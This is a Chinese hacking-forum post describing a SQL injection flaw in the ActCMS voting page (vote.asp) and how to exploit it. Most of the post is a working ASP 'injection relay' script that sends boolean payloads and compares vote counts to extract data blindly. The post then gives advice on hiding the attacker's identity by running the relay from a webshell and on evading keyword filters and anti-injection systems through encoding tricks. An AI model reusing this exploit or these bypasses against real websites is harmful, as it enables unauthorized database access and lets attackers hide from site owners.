找回密码
 立即注册
查看: 2560|回复: 0
打印 上一主题 下一主题

注入中转的高级应用,actcms漏洞以及其他

[复制链接]
跳转到指定楼层
楼主
发表于 2012-11-6 21:13:20 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
, \; Q( Q% F" Y- `3 K8 }
看到ninty大牛的blog的一篇文章
( a* K8 X5 y$ o2 a9 G; A0 d+ F8 f链接标记[url]http://www.forjj.com/?action=show&id=80[/url]
4 f( L9 m! M8 M& {8 X' T# d5 P9 ]关于actcms漏洞的利用  by 3x qq:3818625893 y, [& B1 k* K/ y6 Z' M
转载请注明以上
* G8 B! x+ j" K- s+ ]漏洞文件:
& o+ t% P! a" L5 l" O& L: \8 Q/plus/vote/vote.asp
6 U& L  j: e! y代码: 链接标记预览源代码 链接标记打印链接标记关于1if request("voted").count=0 then   
' J  c' Z  x- _+ S* g. L$ ]8 M" i3 P( X* y  n
2    response.write "<script>alert('请选择投票项目。');window.close()</script>"   & K- W( }7 w5 l- O- @! ~
' K' |+ k  m2 Z' m& Y
3    response.end   
* N: ?& I; T9 R9 s# M
# s* g: q! W0 z5 ^8 s- p4    end if   
6 t: j1 ~8 J% R0 X% q, B" W5 M0 d: k% L1 j7 j1 E: J
5    for i=1 to request("voted").count    6 R/ i# L) Z/ K( d" a1 ]
1 u; Q/ B/ o2 D- ^6 l' _4 ?! J
6    actcms.actexe("Update vote_act set VoteNum=VoteNum+1 where id="&request("voted")(i))   
1 k# l; J" i5 k! U
8 G9 g* \4 j% m, g5 U! w, Y  D7    next    , ^; \  r8 Q1 b% ?

( o% K- i: g- K9 H9 Q7 J+ ^8....   
- W$ L( v, r8 z7 T% z
9 D$ E6 y# a4 |9 B/ l2 z9response.Redirect "index.asp?id="&id&""   / k; n: K/ b, [, A: h
投票结束回跳转回index.asp这个投票结果页面
5 V4 f1 Q, _0 ]1 \: E* n9 w3 ?如果投票成功票数加14 M, C- ^& l* a% j3 u- \" T/ m
            失败票数不变8 W+ K- b! ?3 B% L
如图:
1 @: i+ X8 E) U" @- S0 ohttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132032ef432aa12b1267.jpg链接标记下载 (3.95 KB); z) o% ~7 ]) E  g) P* S/ C# d! {1 R

+ d' B0 f2 i+ O1 I2009-12-27 13:20: ]6 D9 e% q# ~
7 g+ i- e6 z$ c, W6 Z/ T: k& R* h1 T7 m2 t
利用这点来注入,由于ninty大牛学java的,但是java运行环境实在是。。。。不说了" L6 Y. f* b  H% L1 x3 O' i

) ~$ C2 v- m" d2 P0 w- o本帖隐藏的内容需要回复才可以浏览
- C- T1 y2 v' ]我们用注入中转来实现这个注入具体代码如下:' L1 _& w+ k8 f6 E( i4 A3 h
先用寂寞的刺猬大牛的注入中转生成jmget.asp4 C/ Q% _( r, R6 j* x& Q% y! E! P
注入地址:http://localhost/actcms/plus/vote/vote.asp8 c0 ~$ ^1 [( x! Y- i
注入键值:id=1&voted=-1 or 1=                                            '这里这样换的话就有学问了,不用去判断有什么投票选项
0 t! P8 S: o  m% D$ D! O9 H9 h7 a: O* F4 j; T  y
然后进行修改变成如下代码: 链接标记预览源代码 链接标记打印链接标记关于01<% ' G( {% Z0 q( X  g; v$ Q) Z
# e7 Y8 l/ X5 [% I  g. Q- |
02JmdcwName=request("jmdcw") $ A8 r/ M! Z$ B

/ a3 P2 f' E, \- O( _# z# _03' 注入中转站 GET 版,BY 寂寞的刺猬 [L.S.T]
5 D; _1 B0 k; l2 g: _8 I
, e! |0 }9 D# i; D04JmStr="id=1&voted=-1 or 1="&JmdcwName 7 D6 ^* h$ r6 |# I: u  v* j

( U5 H* Y6 v! w9 j1 K& k& t05JmStr=URLEncoding(JmStr)
8 i( A- {& r* ]4 q% `, e7 i9 W5 H8 }4 V9 P  ^! }
06JMUrl="链接标记http://localhost/actcms/plus/vote/vote.asp"
7 G/ g0 R# y( I5 e# F# s
$ f6 W0 p! b" p0 v% H07testurl="链接标记http://localhost/actcms/plus/vote/index.asp"
+ {  H- c( u+ i# n% K" o! l4 r+ w
08testurl=testurl & "?" & JmStr
2 X* z: d' H( Z) S" }, h6 w
5 N" w; E& j& x! b4 F" K3 U% e3 L09JMUrl=JMUrl & "?" & JmStr
4 i& U3 T' Y6 g( d. o; I) ?
- c/ G5 M: m& [$ D10JmRef="链接标记http://localhost/actcms/plus/vote/vote.asp"
3 T- n& B5 A) n6 Z( r8 C2 G2 R* f0 d+ F* D
11JmCok="ASPSESSIONIDAQACTAQB=HKFHJOPDOMAIKGMPGBJJDKLJ;"3 Z1 B; t0 A; M9 w/ ~' w7 ~& `

0 Q0 J- M+ J% R- z: t12JmCok=replace(JmCok,chr(32),"%20")  
- B. A+ Q% U$ X0 b/ I- b, @
3 m- k8 Z( s* u. }8 E* A8 W13test1=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票前投票记录 getSt为返回投票数的函数 # |6 H4 O; B' ?7 Z

5 d' ]% [$ |2 a; X' g8 m14  
4 r7 L$ h0 t3 c/ T5 N: a0 g9 B7 T; A1 u# ]! i+ k
15re=PostData(JMUrl,JmStr,JmCok,JmRef) '投票
& s7 m9 v+ A: v% S
- }& \7 Z% a$ I3 e& J2 x% S16  . ?6 V- H- p! T9 w, [! k+ `* }

% o- w" S+ w9 N+ N% L17test2=getSt(PostData(testurl,JmStr,JmCok,JmRef)) '投票后的投票记录
* ^! g. |0 q6 g, t0 J$ r6 }$ C5 s  a2 V; L& B" j/ G
18response.write test1&""&test2&""
8 q. @: ]$ n* w$ x% W( j! L, ~) `  I+ M' Z- l6 x
19  0 T/ z0 {/ r8 i; h7 h- N6 v' f! W
$ x" v0 d; Q4 [# N5 k1 L) U7 X
20if test1=test2 then '如前后记录相等,表示失败 9 L" z8 W( N: T% H4 Y' h

/ K1 _4 D& _; v. l9 q# z2 n) c/ k21  response.write "failed"$ N1 F3 p! J6 _" p* c  t
$ L1 ^9 P1 z1 _  b  X/ ^  [1 R4 A
22else
  P+ f, C. U2 [4 s% c0 D8 q" i7 ^/ M4 F6 k
23  response.write "succeed"
% g: y$ y+ b  v8 n% x3 u% x! K4 P% l5 }; R& w
24end if  / i) V; i$ O) O0 S

# l2 W$ z6 r) K+ m' B- U6 H25  ( b) D/ D! C( F1 Q/ Y

  I$ o' w% h, `& g% d26response.write "by 3x"5 Z- W! @% C  D3 Y2 o

: I! N7 G) p- |& J. F/ ?' B27  2 M2 H6 Z( v  V, b: L
% q% d1 h# w0 ~% X! z
28  
' B" u6 O! w2 y' v0 c+ S4 @
- P7 M1 ^0 X3 H1 |29Function PostData(PostUrl,PostStr,PostCok,PostRef)   
( T) B2 M; j7 k6 m7 e' Z
, T! l. Z% u  D* R8 b30Dim Http
; l. e$ U& W2 I; {* C
$ Z' V" T& [7 B31Set Http = Server.CreateObject("msxml2.serverXMLHTTP")
4 j1 i& w  N0 h
- k2 d, {( q/ @) y& N32With Http
/ a" v! b% b6 N; I+ [2 S! i3 g2 m1 s0 M& @8 d
33  
( x! g! v  x+ Q( h& I8 [1 n' L+ D1 ?
34.Open "GET",PostUrl,False
& ]0 m% @+ u. N
. O+ ]+ |1 d. z& f( b35.SetRequestHeader "Content-Type","application/x-www-form-urlencoded"5 U  i# l5 ^$ k9 S" H
! h: F4 k. d: H7 H1 _( s
36.SetRequestHeader "Referer",PostRef   D" S* {: |$ p. `! R% k

. S+ M# ~" b: n4 T" g37.SetRequestHeader "Cookie",PostCok - s7 J) a! d5 M/ N7 o. \+ f

' ^% Z8 r+ v, _- \0 b+ w% [38.Send () : `3 H  x& K; D; j

- k. Y( T; Q6 Y$ G' L- l5 b: r+ R, ~39PostData = .ResponseBody
* `* D+ W: ~8 ]; K2 q2 N$ g1 l: `3 N
7 K5 ?: [2 X- B6 @) M40End With+ Y0 P6 h8 e( u* ^) W, |- P

' N4 U4 @" v9 w% _( s41Set Http = Nothing
1 T' f! _3 _8 k
  O9 t- {) H: p( e  e42PostData =bytes2BSTR(PostData) 0 t- E% K4 N9 b% I+ I! k5 C% n

6 C; E( r, x3 _# y5 C' D43End Function7 {) N9 [( a  c3 T' m1 W2 }
$ s0 E# x- R" B: G5 a
44  
) N' I4 ~1 D% |+ w' Z+ y) o/ A( V/ J5 q4 L2 ^5 K4 n
45  " L$ s- \/ D/ R6 m3 K3 ]9 J7 A
; l8 C" \6 u2 `& d  u$ q% m
46Function bytes2BSTR(vIn) 6 Q2 [+ G- w- q5 M7 @2 i
$ T! U: J/ ~6 r: X0 @+ B  [
47Dim strReturn ; m0 ?5 Z) K5 M) ?0 _! s

+ ]; ^2 C, V8 g) s! S# H48Dim I, ThisCharCode, NextCharCode
1 O1 g" _% J! ?  k( i# x
3 D& n$ i( i4 l( f4 ~: C$ J49strReturn = ""
4 N3 q3 P/ s- V
* f% d) y2 C' R: I/ `; h50For I = 1 To LenB(vIn)   n- C1 A& Q: B* ?. @' }% R# V

5 c/ R9 E, U3 a& ?8 Y/ k51ThisCharCode = AscB(MidB(vIn, I, 1)) # k; S. w9 O0 J
+ j3 }, j% }) j$ @8 F8 ~, R* T
52If ThisCharCode < &H80 Then  e- U7 {6 e" B- O7 E
* M& A: l% U% J2 ]4 P# `
53strReturn = strReturn & Chr(ThisCharCode)
5 S3 z2 o- C3 O* ?% o0 Y8 P& X  A5 P2 [' ]( E6 g
54Else
% M, P  P( m" @& X0 O- |4 v8 n3 I' A, D3 a! }1 W
55NextCharCode = AscB(MidB(vIn, I + 1, 1))
7 f6 @/ V3 L6 n3 ~7 t. I6 h! l5 f! m+ b$ n0 a& W3 N: H3 V
56strReturn = strReturn & Chr(CLng(ThisCharCode) * &H100 + CInt(NextCharCode)) : F* K% L& O* r0 r, p. _! ]

- d2 q# M; }8 k* Y* s+ X) a3 M57I = I + 1 ' n- U# x3 P2 L
& q! l* ?. ]9 F1 z! x
58End If( y4 u3 T" V! x/ x$ M0 ?
) A( @5 o" z  D) [
59Next
  |. d4 P8 c( r/ ?& O: q1 P# G
/ n+ |  ]9 H5 e# L60bytes2BSTR = strReturn % [" o/ h3 ?& w2 ~. E, \, R' Z
; I9 B- E5 N' d- d; h# |  Y7 ]
61End Function
+ W' j2 ]+ o7 q. y1 S, d, V. |" j0 y0 R+ |0 ^/ h
62  ( D+ Q; T& p( G2 f( K- A! E) D3 X

0 s/ _! H! g$ e) F" }63Function URLEncoding(vstrin)  & C  c1 V2 p" o5 }- }9 r/ H

3 l, g; G, Y( o, s64strReturn=""# G" @9 y3 Z9 D! ^' e3 P

4 o/ f: j$ i) Q65Dim i % _5 [3 Y: I7 ~

6 Z$ k  b) X& D; h0 ?( d66For i=1 To Len(vstrin) % M( ^) `. l6 r* i! o* L

4 U% q7 l9 s" U- R, b  W0 q; F  I- J67ThisChr=Mid(vstrin,i,1) # O& R9 W. c& G. n# w( E6 l# ^" z+ C

  R) D- j+ ?/ M; R. ^$ q$ F68if Abs(Asc(ThisChr))< &HFF Then; B5 l$ F1 Y( N8 c! {  u

5 r: f- X3 k/ t0 R$ y" o$ B69strReturn=strReturn & ThisChr % |. R* _6 G% m' Y4 L$ M, \8 b; l

, H$ Y# W- f' U+ a- h! e; N70Else1 D8 j! m! K$ K

: n" A8 r* E: Y+ Y8 N71InnerCode=Asc(ThisChr)
/ G1 q) r. G% `3 s7 ], I
# k+ _0 e& _& Y5 \0 ~72If InnerCode<0 Then4 b% h$ `: ^4 B  Y+ _. M) ?* I
% G1 S+ c( a4 s. I) S7 x* U; P3 F
73InnerCode=InnerCode + &H10000
0 B9 ]) R0 A# k" v$ Q
: }* a/ Q& r% j2 P2 e74End If' v" `8 h) Q' m' C* Z
8 q3 r, @4 [* e" Z8 L* [# ]$ Q
75Hight1=(InnerCode And &HFF00) \&HFF ! f6 U& o- |; A: h7 n7 x
# d+ S" x" k& `3 F" W3 i
76Low1=InnerCode And &HFF + _& C' }3 v; J0 r( R" {+ z

/ N4 W1 H/ X& w, T77strReturn=strReturn & "%" & Hex(Hight1) & "%" & Hex(Low1) * v& h; J- ^8 x3 t5 a7 m1 y
. Y, z9 o( R& h0 G& a7 N2 d# C
78End if
2 ^8 N/ o! _+ a5 I  _3 m- m5 A# R. z8 ]2 M1 {
79Next
1 f# m1 h$ E2 t3 A
( Q* h8 g5 m$ Y% @  j80strReturn=Replace(strReturn,chr(32),"%20") '转换空格,如果网站过滤了空格,尝试用/**/来代替%20
1 ^; c+ j, i6 \) T
8 ~3 y: m: f4 h' L- Q9 Q' e81strReturn=Replace(strReturn,chr(43),"%2B")  'JMDCW增加转换+字符
( C. t/ A0 u: ?
, C3 W, b2 w4 ~- }* v82'strReturn=Replace(strReturn,过滤字符,"转换为字符")  '在此增加要过滤的代码
% t! M2 h) w5 s. U7 X5 Y3 j& i" x# P
83URLEncoding=strReturn 2 _0 n9 P9 w6 g, n6 [8 Q
1 @& u# ^% F0 s
84End Function9 u* |' W9 G2 U* b) b( L* X4 N8 S$ x" P
) x$ g: v# @1 G  M6 h4 y& t4 b5 c/ y
85  
8 Y- ~5 ^0 M* E% C2 n+ G
% u, A# M' l* L* I7 Y" i  j86function getSt(body) & u/ b/ z, d! Q" o- b

4 {1 s& g* [- H& ~8 a9 `; V87  startpot=instr(body,"投票人数:")+len("投票人数:")
" O' N/ ?5 W  B; L; {6 ]" m7 ]
88  endpot=instr(startpot,body," ") 7 k* Y' L3 y0 p0 o& A3 C+ }  s
  V* _4 D* i4 n% d1 ^# A8 H
89  getSt=mid(body,startpot,endpot-startpot) 8 S% A) p, o' A8 ?

8 C! O* E3 a, X( k90end function 6 M$ b7 b; X  n* z* `

* F6 d& i5 M7 l! E  Y& @91%>
7 l- k; S1 v8 z- C6 ?& ~注入地址就是http://localhost/vote.asp?jmdcw=1 '我把jmget.asp改成vote.asp了  V/ [0 W; x: U( }* a( |
测试下效果:  ]4 o3 }, Q! d* x9 l2 x
投票成功:
% D; p. U1 f# [9 l- h* rhttp://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/091227132987c71b583da9fb1a.jpg链接标记下载 (15.4 KB)
& x' B2 E7 O. L; a' b4 L7 r" W7 ?+ K4 j1 F6 _. l$ b  M
2009-12-27 13:29
( Z9 D) s/ t( a; s投票失败  \2 @9 }& A0 S. f- o& s
http://www.t00ls.net/images/default/attachimg.gif  http://www.t00ls.net/attachments/month_0912/09122713294089aca533bb1d18.jpg链接标记下载 (13.72 KB)
; T/ r3 y$ n5 L- D& U2 X1 `$ _* h/ I+ K1 u' T$ `
2009-12-27 13:29
) u' E! Z1 ?& z, G' g9 q. N  y' G-------------------------------------------------------------------------------
" J- v# n! |$ n再补充下。。。这个用明小子等去注我发现不行。。。总结了一下原因,明小子等注入工具是多线程的,而这个投票人数的变量没进行锁的机制。。。所以
9 A+ L$ F8 n9 s' Q5 m: p1 a+ y很抱歉。。。只能用单线程工具去注入。。。。。# t6 I$ z5 I/ O" Z/ W/ {
所以失败。。。不好意思。。。
' `: P; `2 v; s, _0 z. p: d" _-------------------------------------------------------------------------------8 A  d; F& z- \; q+ B8 G

" |* a; F; L. t* N6 N/ a注入中转的一些其他应用: W8 q: M/ a& C/ b: m% c
其实寂寞的刺猬大牛给我们提供这款基于xmlhttp的傻瓜式中转工具实在是太方便我们小菜了7 [- |4 V* ]( [+ y% G2 }. e
1.普通的get型的注入点如果中转一下,放到我们的webshell上跑,有效的隐藏我们的id+ V0 h6 w; F; b: a" ~
2.post注入转成get型的注入,方便我们使用工具来跑
3 n+ G) \# i1 v& s  [/ [3.在一些cms或者一流拦截系统,过滤了selelct等关键词,这里的过滤指的是replace,我们可以在代码中进行转化,replace(jmstr,"select","sselectelect"),这样我们就可以用工具了,对于一流拦截的突破就replace(jmstr,"%20","%09")
$ r) u  n. K1 O3 a% q4.在某些防注入系统中的突破,上次我遇到一个防注入,大家应该也很熟悉,可以通过id--->%69d来绕过,但是如果是post的呢?我把他中转成get型的,但是注入键值我改成%69d=,成功绕过  P0 P5 [& j  u$ n" C  w9 Q  ~, P

; ~( ?  U# u7 e" D- K" y7 h7 q
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表